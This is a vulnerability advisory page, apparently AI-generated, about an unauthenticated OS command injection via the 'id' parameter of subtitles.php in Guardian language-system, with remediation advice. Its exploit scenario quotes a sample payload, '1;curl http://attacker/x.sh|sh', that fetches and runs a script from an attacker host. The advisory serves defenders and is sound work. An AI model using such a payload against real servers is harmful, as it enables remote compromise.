EUVD-2026-41063
GHSA-hw82-rg7w-cx9p
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify exposed subtitles.php endpoint
-
DeliverySend GET request with malicious id parameter
-
ExploitShell metacharacters break out of exec() call
-
ExecutionArbitrary OS commands run as web process
-
ImpactInstall webshell / exfiltrate data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The only prerequisite is network reachability to the subtitles.php endpoint of a Guardian language-system deployment; per CVSS PR:N/UI:N no authentication and no user interaction are required, so this is remote unauthenticated exploitation against default configurations. The specific attack surface is the 'id' GET parameter, which must be reachable and processed by the vulnerable exec() call at subtitles.php line 19. Limiting factors that reduce realistic exposure: the endpoint must be exposed to the attacker (internet-facing versus internal-only), the target must be running Guardian language-system (a niche product), and any front-end WAF/input filtering on the 'id' parameter would blunt naive payloads. |
| Impact | All available signals converge on high real-world risk. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H) indicates network-reachable, low-complexity, unauthenticated, no-interaction exploitation yielding full confidentiality, integrity, and availability impact on the vulnerable system - the maximum practical profile short of a scope change. Publicly available exploit code (a GitHub gist) lowers the skill barrier and increases the likelihood of opportunistic scanning and mass exploitation. This is not a high-CVSS-but-low-risk paper cut: the injection point is directly reachable and the description is concrete about the vulnerable code path. Missing signals to note explicitly: no EPSS score is provided, the CVE is NOT listed in CISA KEV (so active exploitation is unconfirmed), and no fixed version is provided in the input - so exploitation is currently only demonstrated via POC, not verified in the wild. |
| Exploit ScenarioDerived | An unauthenticated attacker sends a single crafted HTTP GET request to subtitles.php with an 'id' value such as '1;curl http://attacker/x.sh|sh', causing the appended shell command to execute on the server with web-process privileges. Because a publicly available POC exists and no authentication or user interaction is required, this is trivially automatable for mass scanning, leading to webshell installation, data theft, or full server compromise. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 01, 2026
Remote code execution in Guardian language-system allows unauthenticated attackers to run arbitrary OS commands by injecting shell metacharacters into the 'id' GET parameter of subtitles.php, which is concatenated directly into a PHP exec() call invoking jobs/subtitle_rendering.php. The CVSS 4.0 base score of 9.3 reflects network-reachable, no-privilege, no-interaction exploitation, and publicly available exploit code exists (published via VulnCheck), though there is no public exploit identified as being actively used in the wild at time of analysis.
RemediationAI
No vendor-released patch or fixed version is identified in the available data at time of analysis, so the primary recommendation is to consult the VulnCheck advisory (https://www.vulncheck.com/advisories/guardian-language-system-unauthenticated-os-command-injection-via-id-parameter-in-subtitles-php) for vendor guidance and to apply any fixed release the vendor issues. As immediate compensating controls: restrict or block external access to subtitles.php at the web server or WAF layer (side effect - breaks the subtitle rendering feature for legitimate users if it is public-facing); add a WAF/input-filter rule rejecting the 'id' parameter unless it strictly matches an expected numeric/identifier pattern (side effect - may cause false negatives if the exploit uses encoding, so pair with strict allow-listing); and if you control the source, remediate at code level by replacing the raw concatenation with escapeshellarg($_GET['id']) plus server-side validation that 'id' is an integer. Run the PHP/web process under a least-privilege account to limit blast radius if injection succeeds.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is subtitles.php in Guardian's PHP-based language/subtitle rendering system (cpe:2.3:a:guardian:language-system). At line 19 the application builds a shell command string - exec("php jobs/subtitle_rendering.php ".$login_session." ".$_GET['id']." ...") - and passes attacker-controlled input from $_GET['id'] straight to exec() without escapeshellarg(), escapeshellcmd(), or any input validation. This is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command). Because exec() spawns a shell, metacharacters such as ;, |, &, $(...), and backticks let the attacker break out of the intended 'php' argument context and append their own commands, which execute with the privileges of the web server / PHP process.
Know when Guardian gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Unauthenticated network-reachable GET parameter flows into a shell exec() with no interaction, giving low complexity and full C/I/A impact on the host; scope unchanged.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Guardian language-system passes the id GET parameter directly into a PHP exec() call in subtitles.php (line 19) without sanitization: exec(\"php jobs/subtitle_rendering.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to the id parameter to execute arbitrary OS commands on the server.
Executive ViewAI
Guardian language-system contains a critical remote code execution vulnerability (CVE-2026-34106) exploitable by unauthenticated attackers over the network with no user interaction required, allowing arbitrary OS command execution. Public exploit code is currently available, creating immediate risk of system compromise for all organizations running this product. Without a vendor patch, exposed systems face potential full infrastructure compromise.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to subtitles.php via firewall or WAF rules; (2) Disable the vulnerable endpoint if operationally feasible; (3) Implement strict input validation blocking shell metacharacters on the 'id' parameter; (4) Run affected systems under least-privilege service accounts with process isolation; (5) Enable comprehensive command execution logging and alerting on vulnerable systems.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
OS command injection in Guardian language-system lets unauthenticated remote attackers run arbitrary shell commands by i
Unauthenticated SQL injection in Guardian Language System lets remote attackers manipulate the backend database by injec
Error-based SQL injection in Guardian Language-System allows a network-accessible authenticated attacker to extract the
SQL injection in Guardian Language-System's designer.php (line 124) allows attackers to extract, modify, or destroy the
Error-based SQL injection in Guardian language-system's subtitles.php exposes full database contents to low-privileged a
Error-based SQL injection in Guardian Language-System exposes the full database to low-privileged authenticated attacker
Error-based SQL injection in Guardian language-system's text_file.php exposes the full database to extraction via a triv
SQL injection in Guardian language-system's media.php endpoint allows low-privilege authenticated attackers to extract t
Nozomi Networks OS before 19.0.4 allows /#/network?tab=network_node_list.html CSV Injection. Rated high severity (CVSS 7
Nozomi Guardian before 19.0.4 allows attackers to achieve stored XSS (in the web front end) by leveraging the ability to
A SQL Injection vulnerability in Nozomi Networks Guardian and CMC, due to improper input validation in certain fields us
Reflected cross-site scripting in Guardian Language-System's media.php allows authenticated attackers to inject arbitrar
Exploit-DB